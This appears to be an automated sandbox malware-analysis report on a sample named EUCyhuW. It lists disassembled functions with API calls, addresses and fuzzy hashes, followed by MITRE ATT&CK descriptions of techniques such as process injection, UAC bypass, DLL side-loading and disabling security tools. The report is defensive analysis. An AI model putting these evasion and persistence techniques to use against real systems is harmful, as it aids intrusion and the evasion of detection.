Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e8b64da1515bff249c539d1751534fd14ae6a51eb1cf0f4c5597af68b0052130
Instruction ID: 083ee13c3afd1a02b06a165bca678a656ae279b0a294a08c0113e35b9c37e361
Opcode Fuzzy Hash: e8b64da1515bff249c539d1751534fd14ae6a51eb1cf0f4c5597af68b0052130
Instruction Fuzzy Hash: 0421D471600705AFDB32BFA1CC8692AB7ADFF40364711899DF9299B602D735EC00CBA0

Function 003772A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b37928a99174f42ab3ca7fce8737fd9fc7d8576619a71c3ab2e280079f66f1f
Instruction ID: aaa69ceaa2b934d91e31f84ad8113c22179bb751f605857e913288b25fe4a03b
Opcode Fuzzy Hash: 2b37928a99174f42ab3ca7fce8737fd9fc7d8576619a71c3ab2e280079f66f1f
Instruction Fuzzy Hash: D0219575208605AFAB33AF718881D6A77ACBF40364715C929FC1DDB651D738EC009BE0

Function 00387588 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00387590

Part of subcall function 003805D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00381D78,?,00000000,-00000008), ref: 00380632

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003875C8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003875E8

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: d0354011581f3192221827c9bf60ad90b47adf695e0243bf103b944d8769d444
Instruction ID: 8867eed2baed7b0d8c6f4e5cc2350766964f992a4aef41a35ceb8ccc3467349d
Opcode Fuzzy Hash: d0354011581f3192221827c9bf60ad90b47adf695e0243bf103b944d8769d444
Instruction Fuzzy Hash: CE1144E1609B15BEA71733B65CC9C6F296DCF8A398B2104A5F901D6001FA68CD0147B5

Function 0038F0B0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,0038E59F,00000000,00000001,?,?,?,00388758,?,00000000,00000000), ref: 0038F0C7
GetLastError.KERNEL32(?,0038E59F,00000000,00000001,?,?,?,00388758,?,00000000,00000000,?,?,?,0038809E,?), ref: 0038F0D3

Part of subcall function 0038F124: CloseHandle.KERNEL32(FFFFFFFE,0038F0E3,?,0038E59F,00000000,00000001,?,?,?,00388758,?,00000000,00000000,?,?), ref: 0038F134

___initconout.LIBCMT ref: 0038F0E3

Part of subcall function 0038F105: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0038F0A1,0038E58C,?,?,00388758,?,00000000,00000000,?), ref: 0038F118

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,0038E59F,00000000,00000001,?,?,?,00388758,?,00000000,00000000,?), ref: 0038F0F8

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: befa0b7543d67fab1192a156e15e6fe0d42eb93c7383bddc773cfe4bc159594d
Instruction ID: 2116ad6e63b943402660ec4f892fdfdd6a80f53fbc95bd648c08e6ae76bc7316
Opcode Fuzzy Hash: befa0b7543d67fab1192a156e15e6fe0d42eb93c7383bddc773cfe4bc159594d
Instruction Fuzzy Hash: FAF0C936500629FFCF236FDADC0999A3F6AFF497A1F064561FA1899130D63388209BD1

Function 00374C10 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00374C22
GetCurrentThreadId.KERNEL32 ref: 00374C31
GetCurrentProcessId.KERNEL32 ref: 00374C3A
QueryPerformanceCounter.KERNEL32(?), ref: 00374C47

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 22e96334f44892e6303934bbe49abd79a2480d456e3f31e55ed3837d4fb6c373
Instruction ID: 88c9176dfe85a8f2d96e7ee3d697fa98be92a2821e608f6687941392ed1fc8e2
Opcode Fuzzy Hash: 22e96334f44892e6303934bbe49abd79a2480d456e3f31e55ed3837d4fb6c373
Instruction Fuzzy Hash: F7F0B230D0020CEBCB01DBB4C94998EBBF8FF1D300F924A96A412E7110E734AB449F91

Function 00367D50 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00367EB0
_strcspn.LIBCMT ref: 00367EDE

Strings

@, xrefs: 003681A9

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: 687b86fcacbfdeb3d49974fc8d7daf47d8152e9d96938813f595c4d276e2d277
Instruction ID: bab4c60e64e4e0f808d68b348629712d2c18fe8a4417a8f1fcd87c94d6807848
Opcode Fuzzy Hash: 687b86fcacbfdeb3d49974fc8d7daf47d8152e9d96938813f595c4d276e2d277
Instruction Fuzzy Hash: C732D2B49042698FCB25DF24C991A9DBBF1BF49300F05C5AAE849AB305D730AE85CF91

Function 00384D72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0037AB4D,?,?,?,00000055,?,-00000050,?,?,?), ref: 00384E31
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0037AB4D,?,?,?,00000055,?,-00000050,?,?), ref: 00384E68

Strings

utf8, xrefs: 00384F3A

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 4120005bdd1938027c74f34bfed4b8f32aba6428a8579e11b6fc6bc583c7ccd9
Instruction ID: 693d8000c960c7779180c2b560b022b38543b3d42fb40b67df875b71e42f76e2
Opcode Fuzzy Hash: 4120005bdd1938027c74f34bfed4b8f32aba6428a8579e11b6fc6bc583c7ccd9
Instruction Fuzzy Hash: 5651C631A04703AAEB27BB75CC86BA673A8FF45700F1544AEF645DB981F770E94087A1

Function 0037FF48 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0037FE49,?,?,00000000,00000000,00000000,?), ref: 0037FF6D

Strings

RCC, xrefs: 0037FF87
MOC, xrefs: 0037FF7F

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 5f09780507390f0e69a64c951388fc43d2c593acedfbb9c5dfdb3bc1d0359fa3
Instruction ID: a032666ebfbeaf6c6e61dd29814c4a49939675e9e3ae4c84f08e4a1b0f679ebc
Opcode Fuzzy Hash: 5f09780507390f0e69a64c951388fc43d2c593acedfbb9c5dfdb3bc1d0359fa3
Instruction Fuzzy Hash: 94417E72900209AFCF2ADFA4CD41AEEBBB5FF48300F1580A9F9086B211D7399950DF51

Function 0037F7B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0037FA2B

Strings

csm, xrefs: 0037FABE
csm, xrefs: 0037FA4D

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 8dcd6917cac980bac4e3ca9a1e615391de348fc1e311f4b2d37507c30d95e1d7
Instruction ID: 9d7f37180fbf20369bec7d8506fb2b92ca4abe829b1a5d417920b7ab27b13991
Opcode Fuzzy Hash: 8dcd6917cac980bac4e3ca9a1e615391de348fc1e311f4b2d37507c30d95e1d7
Instruction Fuzzy Hash: D031CF72500209AFCF339F50D8549AA7B69FB08315B19C17AF85C4A222D33ACCA1DF91

Function 004319B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004319E9
GetSystemMetrics.USER32 ref: 004319F8

Strings

, xrefs: 00431AA6

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 00d488cdc724748cb4ef6b7196869c01c6ee6bf93c6970480f38fd15caceda45
Instruction ID: fd8da7164b0f923a571a7e7fc6429d8095497fbfad761e699550096479e34339
Opcode Fuzzy Hash: 00d488cdc724748cb4ef6b7196869c01c6ee6bf93c6970480f38fd15caceda45
Instruction Fuzzy Hash: EF31B3F49183548FDB40EFA8D985659BBF4AB89304F11442EE898DB360D370A959CB86

Function 00371F82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0037200A
RaiseException.KERNEL32(?,?,?,?), ref: 0037202F

Part of subcall function 00374D23: RaiseException.KERNEL32(E06D7363,00000001,00000003,00373ADE,?,?,?,?,00373ADE,00001000,0039AE2C,00001000), ref: 00374D84

Part of subcall function 0037D2B9: IsProcessorFeaturePresent.KERNEL32(00000017,00377E7B,?,?,?,?,00000000), ref: 0037D2D5

Strings

csm, xrefs: 00371FBE

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 98d0ef06eff63c2dde43a4863884ed5b2da3a84099e56cea24c480234f91be3c
Instruction ID: 65376395ae2023b4f2d8a02b170789dedb8e7d74064bdf27ca622a3c19c1e8b5
Opcode Fuzzy Hash: 98d0ef06eff63c2dde43a4863884ed5b2da3a84099e56cea24c480234f91be3c
Instruction Fuzzy Hash: CA21BE32D002189BCF36DFA8D9819AEB3B8BF04710F15850AE909AF250D738AE45CB90

Function 00371670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 00371690
_Yarn.LIBCPMT ref: 003716B4

Strings

=n9, xrefs: 00371684

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: Yarn
String ID: =n9
API String ID: 1767336200-2005492208
Opcode ID: 57e238aa1058c7b702cfdcd56f51e6d708d776d67e0a6b8c13b6b62b455875c3
Instruction ID: 48e482fa2e193d871fbe1fded5871838319c6598390e9a7e412e8286e278eb44
Opcode Fuzzy Hash: 57e238aa1058c7b702cfdcd56f51e6d708d776d67e0a6b8c13b6b62b455875c3
Instruction Fuzzy Hash: DCE065273082046BFB296A6ADC12F7633D8DB44761F14412DFD0E9E5C1EE50EC008554

Function 00371207 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(0039E448,00000000,00000004,?,00369155,?,?,003690E8,?,00368F17), ref: 00371212
ReleaseSRWLockExclusive.KERNEL32(0039E448,?,00369155,?,?,003690E8,?,00368F17), ref: 0037124C

Strings

H9, xrefs: 0037120C

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: H9
API String ID: 17069307-3771814955
Opcode ID: fd455b890eb8733a9be09849789b81396f3f52df31c145d3fd2bc450b5596ae8
Instruction ID: 0ecb2f09589cf2edd878408b586dd3dbff73cc510e4b93678d3d52eddfb43d4f
Opcode Fuzzy Hash: fd455b890eb8733a9be09849789b81396f3f52df31c145d3fd2bc450b5596ae8
Instruction Fuzzy Hash: 73F08236600004DBC722EF19E844A68B7B8EB46331F16862EEC59832A1C7391842CA52

Function 003719F9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000002,00000000,6,?,?,003719BC,?,?,0037198D,?,?,?,0036E1E1), ref: 00371A05

Strings

6, xrefs: 003719FD, 00371A00
MZx, xrefs: 00371A17

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: HandleModule
String ID: MZx$6
API String ID: 4139908857-3334924336
Opcode ID: 1f00063df124b7dc65b27a93039e6f7525528a88d0aa4f304e1ae1fb0a1c39e3
Instruction ID: 6032582f8229ef9e22a8d3c04c9f094ba5dce90644fe5944f4373f9ac2fe500f
Opcode Fuzzy Hash: 1f00063df124b7dc65b27a93039e6f7525528a88d0aa4f304e1ae1fb0a1c39e3
Instruction Fuzzy Hash: 61D02B32700204F6DB2287548D0BF9EB2EC8B40785F1080559102D50C0C2B0CB40D150

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

